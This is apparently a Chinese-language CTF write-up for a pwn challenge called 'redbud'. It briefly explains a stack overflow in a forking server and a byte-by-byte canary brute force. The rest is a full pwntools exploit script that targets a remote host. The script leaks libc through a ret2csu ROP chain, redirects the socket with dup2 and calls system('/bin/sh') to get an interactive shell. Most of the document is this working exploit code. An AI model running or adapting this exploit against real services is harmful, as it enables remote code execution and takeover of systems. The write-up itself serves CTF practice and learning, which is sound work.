首先,检查一下程序的保护机制
然后,我们用IDA分析一下
在程序的主功能函数里,存在一个明显的栈溢出,由于没有开启PIE,我们很容易做ROP。并且这是一个服务器程序,通过fork子进程来处理我们的请求,因此canary的值我们可以逐字节爆破。因为只要父进程没有重新启动,canary的值就不会变化,这题和cnss那题是一个道理。
那么,我们直接上exp脚本
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80
| from pwn import * from LibcSearcher import * context.log_level = 'critical' elf = ELF('./redbud') write_got = elf.got['write'] csu_pop = 0x403F6A csu_call = 0x403F50 pop_rdi = 0x403F73
pop_rsi = 0x403F71
fd = 4 def init_connection(): global sh sh = remote('111.198.29.45',32664) def stackoverflow(payload): sh.send('RPCM') sh.send(p32(len(payload) + 12,endian = 'big')) sh.send(p32(4,endian = 'big')) sh.send(payload) init_connection()
canary = '' while len(canary) < 8: for x in range(0xFF): init_connection() stackoverflow('a'*0x1008 + canary + p8(x)) try: sh.recvuntil('RPCN') sh.recv(8) except: sh.close() continue canary += p8(x) print 'canary=',canary break; canary = u64(canary) print 'canary=',hex(canary) rop = p64(csu_pop)
rop += p64(0) + p64(1)
rop += p64(write_got)
rop += p64(0x8) + p64(write_got) + p64(fd) rop += p64(csu_call) payload = 'a'*0x1008 + p64(canary) + 'a'*0x28 + rop init_connection() stackoverflow(payload)
write_addr = u64(sh.recv(8)) libc = LibcSearcher('write',write_addr) libc_base = write_addr - libc.dump('write') system_addr = libc_base + libc.dump('system') dup2_addr = libc_base + libc.dump('dup2') binsh_addr = libc_base + libc.dump('str_bin_sh') print 'libc_base=',hex(libc_base) print 'system_addr=',hex(system_addr) print 'binsh_addr=',hex(binsh_addr)
rop = p64(pop_rdi) + p64(fd) + p64(pop_rsi) + p64(0) * 2 + p64(dup2_addr)
rop += p64(pop_rdi) + p64(fd) + p64(pop_rsi) + p64(1) * 2 + p64(dup2_addr)
rop += p64(pop_rdi) + p64(binsh_addr) + p64(system_addr) payload = 'a'*0x1008 + p64(canary) + 'a'*0x28 + rop init_connection() stackoverflow(payload) sh.interactive()
|